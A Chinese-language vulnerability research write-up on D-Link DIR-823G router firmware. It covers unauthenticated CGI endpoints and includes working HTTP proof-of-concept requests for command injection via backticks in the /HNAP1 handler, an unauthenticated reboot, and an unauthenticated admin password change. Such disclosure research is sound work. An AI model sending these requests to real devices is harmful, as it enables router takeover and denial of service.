前言
本文由 本人 首發於 先知安全技術社區: https://xz.aliyun.com/u/5274
初步分析
首先下載固件
https://gitee.com/hac425/blog_data/blob/master/iot/DIR823GA1_FW102B03.bin
用 binwalk
解開固件
發現這是一個 squashfs
文件系統,里面是標准的 linux
目錄結構,所以這個固件應該是基於 linux
做的。
首先看看 etc/init.d/rcS
, 以確定路由器開啟的服務。發現最后會開啟一個 goahead
進程
goahead
是一個開源的 web
服務器,用戶的定制性非常強。可以通過一些 goahead
的 api
定義 url
處理函數和可供 asp
文件中調用的函數,具體可以看看官方的代碼示例和網上的一些教程。
這些自定義的函數就很容易會出現問題,這也是我們分析的重點。
模擬運行固件
為了后續的一些分析,我們先讓固件運行起來,可以使用
https://github.com/attify/firmware-analysis-toolkit
這個工具其實就是整合了一些其他的開源工具,使得自動化的程度更高,具體看工具的 readme
.
運行起來后,首先可以用 nmap
掃一下端口,看看路由器開了哪些端口
可以看到目前就開了 http
服務 和 dns
服務。
下面訪問一下路由器的 web
接口
第一次訪問路由器的 web
接口,就會要求用戶做一些初始化設置,比如設置密碼等。
攻擊面分析
對於一個路由器,我的主要關注點有
- 后門賬戶,默認密碼
- 敏感功能未授權訪問
web
服務對各種請求的處理邏輯
經過上面簡單的分析,發現只有 http
和 dns
服務是暴露在外的。http
服務的第一次訪問就會要求輸入新密碼,所以默認密碼的問題也不存在。下面分析 web
服務的處理邏輯。
經過簡單的測試發現,web
目錄應該是 web_mtn
, 目錄的結構如下
cgi 程序, 未授權訪問
其中 cgi-bin
目錄下存放着一些 cgi
文件,這些 cgi
文件沒有權限的校驗,非授權用戶也可以直接訪問, 可能會造成比較嚴重的影響。
/cgi-bin/ExportSettings.sh
導出配置文件(信息泄露)。
/cgi-bin/upload_settings.cgi
導入配置文件(惡意篡改配置)
/cgi-bin/GetDownLoadSyslog.sh
獲取到系統的一些啟動信息./var/log/messages*
/cgi-bin/upload_firmware.cgi
上傳更新固件(惡意修改固件
goahead 中自定義的請求處理函數, 命令注入
goahead
不僅支持 cgi
的方式處理用戶請求,同時支持直接在 goahead
函數內部自己定義 url
的處理函數。
比如
websUrlHandlerDefine(T("/goform"), NULL, 0, websFormHandler, 0);
websUrlHandlerDefine(T("/cgi-bin"), NULL, 0, websCgiHandler, 0);
就代表
/goform
的請求交給websFormHandler
函數處理/cgi-bin
的請求交給websCgiHandler
函數處理
處理函數的參數列表為
int websCgiHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg,
char_t *url, char_t *path, char_t* query)
其中 wp
這個參數是一個比較復雜的結構體指針,里面保存了各種用戶請求的信息,比如 cookie
, 請求的數據等。固件中也對該結構體做了很大的改動。
下面用 ida
打開固件中的 goahead
分析。
可以看到固件應該是被去掉了符號表。此時可以從字符串入手,可以通過 /cgi-bin
或者 /goform
找到定義 url
相應的處理函數的位置, 因為這兩個是源碼中默認有的。
通過交叉引用,最后找到注冊處理函數的位置 0x42424C
可以看到這里注冊了很多處理函數,通過 ida
的分析很容易看出 websUrlHandlerDefine
的第一個參數為 url
, 第四個參數應該就是相應 url
的處理函數。
使用 burp
抓取登錄的數據包,發現是往 /HNAP1
發送數據
下面分析分析 /HNAP1
處理函數的邏輯。 函數位於 0x42383C
這個函數的主要邏輯是從 wp
結構體中取出此次請求需要調用的函數名,然后去全局函數表里面搜索,找到之后在進行處理。
其中函數表位於 0x058C560
函數表的每一項的結構應該是
- 4 字節 函數名的字符串地址
- 4 字節 函數的地址
找到了需要調用的處理函數后,會首先記錄 POST
的原始報文(通過運行過程查看日志文件,可以猜測出來)
這里記錄日志采取的方式是 首先用 snprintf
生成命令, 然后使用 system
執行。我們可以直接注入 '
來命令執行
POC:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 53
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
SOAPAction: "http://purenetworks.com/HNAP1/Login"
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
'`echo hacked_by_hac425!!!!!!!! > /web_mtn/hack.txt`'
最后會寫內容到 /web_mtn/hack.txt
, 然后可以通過 web
訪問
HNAP1 接口繼續分析
接着又接續分析了 /HNAP1
的處理,這個接口通過 soap
實現了 rpc
的功能,其中有的接口沒有權限校驗,會造成一些嚴重的問題。
reboot 接口沒有校驗,可以不斷重啟 , ddos
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 298
Origin: http://192.168.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
SOAPAction: "http://purenetworks.com/HNAP1/RunReboot"
Referer: http://192.168.0.1/reboot.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><RunReboot xmlns="http://purenetworks.com/HNAP1/" /></soap:Body></soap:Envelope>
修改密碼接口,未授權訪問,可修改密碼
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
Content-Length: 402
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: text/xml; charset=UTF-8
Accept: */*
X-Requested-With: XMLHttpRequest
SOAPAction: "http://purenetworks.com/HNAP1/SetPasswdSettings"
Referer: http://192.168.0.1/account.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetPasswdSettings xmlns="http://purenetworks.com/HNAP1/"><NewPassword>hackedbyhac425</NewPassword><ChangePassword>true</ChangePassword></SetPasswdSettings></soap:Body></soap:Envelope>
管理員密碼會被改成 hackedbyhac425
.